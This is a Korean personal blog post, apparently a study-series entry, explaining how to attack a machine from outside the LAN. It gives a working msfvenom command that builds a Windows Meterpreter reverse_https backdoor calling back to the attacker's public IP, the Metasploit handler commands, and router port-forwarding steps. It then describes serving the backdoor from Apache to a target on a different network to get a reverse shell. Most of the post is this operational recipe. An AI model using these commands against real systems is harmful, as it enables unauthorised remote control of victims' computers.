권한 획득 - 외부망에서의 공격

김동하·2025년 12월 23일

security

목록 보기
8/11
post-thumbnail

LAN 밖에서

여태까지의 실습은 LAN에서 가정한 것이다. 내부망(집이나 회사LAN)에서는 사설 IP로 서로 바로 통신이 가능하지만, 인터넷(외부)에서는 라우터의 공인 IP만 보이기 때문에 외부에서 내부 장치로 들어오는 연결은 기본으로 막힌다.

공격자가 공인 IP로 연결을 시도해도 라우터가 어디로 포워딩할지 모르기 때문에 침투가 실패한다.

포트 포워딩이라는 개념이 등장하는데, 포트 포워딩이란 외부에서 라우터 공인 IP의 특정 포트로 들어오는 요청을 내부의 특정 기기의 특정 포트로 전달하도록 라우터에 규칙을 추가하는 것이다.

private IP -> pubilc IP

백도어를 실행하면 공인 IP:포트로 reverse 연결 시도하도록 할 것이다. 그럼 이제 LHOST를 공인 IP로 변경하여 백도어를 다시 생성해보자.

msfvenom -p windows/meterpreter/reverse_https LHOST=<공인_IP> LPORT=8080 -f exe > remote_backdoor.exe

이전과 페이로드는 동일하다 다만 LHOST를 공인 IP로 변경한 것이다. 그리고 Metasploit 리스너을 공격자의 열면 된다.

msfconsole
use exploit/multi/handler 
set payload windows/meterpreter/reverse_https
set LHOST <공격자 프라이빗 IP>
set LPORT 8080
exploit

자 이제 여기까지 했으면, 백도어 실행시 지정해둔 퍼블릭 IP로 연결 시도를 하게 된다. 그럼 게이트웨이(라우터)는 8080을 오픈하고 있지 않다. 그래서 로컬 머신 중 어느 로컬 머신에 포워딩할지 모르는 상태다.

여기에 우리가 열어둔 8080으로 포워딩하라고 라우터에 말해줘야 한다!

포트 포워딩

먼저 로컬 IP의 게이트웨이를 찾자

route -n

이제 라우터 관리자 페이지 접속한다.

이제 8080과 로컬 IP를 넣어준다. 그럼 포트 포워딩이 완료되었다.

흐름은 대략 이러하다.

  • 백도어 생성 -> 공인 IP 사용.
  • Metasploit handler → 사설 IP로 리스닝.
  • 라우터 포트 포워딩 설정.
  • 원격 타겟 컴퓨터 (완전히 다른 네트워크)에서 공인 IP로 Apache 접속 → 백도어 다운로드.
  • 백도어 실행 → Meterpreter reverse shell 연결 성공.
profile
프론트엔드 개발

0개의 댓글